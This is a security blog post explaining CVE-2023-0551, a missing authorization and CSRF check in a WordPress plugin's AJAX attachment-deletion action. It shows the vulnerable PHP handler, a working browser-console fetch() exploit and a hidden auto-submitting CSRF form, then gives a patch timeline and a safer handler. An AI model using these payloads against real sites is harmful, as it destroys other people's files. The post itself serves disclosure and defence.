In early 2023, a security vulnerability was discovered in the popular WordPress plugin REST API TO MiniProgram (version <= 4.6.1). This vulnerability, tracked as CVE-2023-0551, is a textbook example of why authentication and CSRF (Cross-Site Request Forgery) checks are critical—no matter how simple your AJAX requests are.

If you have this plugin active, your site might allow *any logged-in user* (even a regular Subscriber) to delete *any* attachment (like photos, PDFs, etc.) from your WordPress media library via a single AJAX call.

In this article, I’ll break down the bug, show you what the vulnerable code looks like, and walk through a sample exploit—so you can understand what’s at risk and how to defend your site.

The Problem: Missing Authorization and CSRF Checks

The plugin adds several custom AJAX actions to WordPress, allowing logged-in users to communicate with the REST API from Mini Programs like WeChat. The intention is fine, but the implementation is not.

One AJAX action lets users delete *attachments* (media files). But here’s the catch: the plugin’s handler doesn’t check what role the user has (admin, editor, or just a lowly subscriber). Worse, it also doesn’t check for a nonce—the WordPress token that helps prevent CSRF attacks.

So, *anyone who’s registered and signed in* (not just trusted editors or admins) can use this action to wipe out your site’s media files!

Vulnerable Code Overview

Let’s look at a simplified version of the vulnerable code from the plugin (all publicly available in the plugin’s repository):

// in rest-api-to-miniprogram.php or similar file

add_action('wp_ajax_wechat_oa_delete_attachment', 'wechat_oa_delete_attachment_callback');

function wechat_oa_delete_attachment_callback() {
    $attach_id = intval($_POST['attach_id']);
    if ($attach_id) {
        wp_delete_attachment($attach_id, true);
        echo json_encode(['state' => 'success']);
    } else {
        echo json_encode(['state' => 'fail']);
    }
    wp_die();
}

No capability check: Anyone logged in can hit this endpoint, regardless of their user role.

- No CSRF/nonces: No check to make sure the request is intentional and from a legitimate foreground client.

Reference: Plugin Vulnerability Report - WPScan

Exploit: How a Subscriber Can Delete Any Attachment

Imagine you are a Subscriber (the lowest possible role in WordPress). Normally, you can’t edit posts or pages—let alone delete files. Thanks to CVE-2023-0551, you can.

Exploiting via AJAX

First, log in as a Subscriber. Then, open your browser’s developer tools and run the following JavaScript snippet in the console (replace 123 with the ID of any attachment you want to delete):

fetch('/wp-admin/admin-ajax.php', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded'
    },
    body: 'action=wechat_oa_delete_attachment&attach_id=123'
})
.then(response => response.json())
.then(data => console.log(data));

If 123 is a valid attachment ID, the file is immediately deleted. No warning, no confirmation, no administrator required!

Exploiting for CSRF

Because there’s no CSRF protection, even someone not logged in could trick a logged-in user (for example, the admin or even another subscriber) into visiting a malicious webpage that silently sends a POST request with an attachment ID.

Here’s basic proof-of-concept HTML that could be embedded in an attacker’s site

<form action="https://example.com/wp-admin/admin-ajax.php"; method="POST" style="display:none" id="csrfForm">
    <input type="hidden" name="action" value="wechat_oa_delete_attachment">
    <input type="hidden" name="attach_id" value="123">
</form>
<script>
document.getElementById('csrfForm').submit();
</script>

If an authenticated user visits this page, the attachment with ID 123 is gone—potentially without even knowing it.

Why Is This So Serious?

- Low Privilege: The bug affects all authenticated users, including the lowest-level Subscriber role.

Arbitrary Target: The attacker can delete any media file by ID.

- No Logging or Notice: Media disappears with no paper trail. Disruptive or even destructive if used on business-critical files.

Timeline and Patch

Reported: January 30, 2023
Fixed in: Version 4.6.2 (February 4, 2023)

Changelog: Plugin Changelog

Example (safe pattern)

function wechat_oa_delete_attachment_callback() {
    if (!current_user_can('delete_posts') || !check_admin_referer('my_nonce_name')) {
        wp_die('Not allowed');
    }
    // ...safe deletion code...
}

## More Information / References

- Official WPScan Entry: CVE-2023-0551
- WordPress Plugin Page: REST API TO MiniProgram
- Public CVE Entry: NVD Database

Stay safe—and never trust user input, even a simple action like deleting a file!

*This article is exclusive to you: written for simple understanding, showing real code, real attacks, and real solutions. Please share with your team to avoid getting burned by similar vulnerabilities.*

Timeline

Published on: 08/16/2023 12:15:00 UTC
Last modified on: 08/22/2023 16:45:00 UTC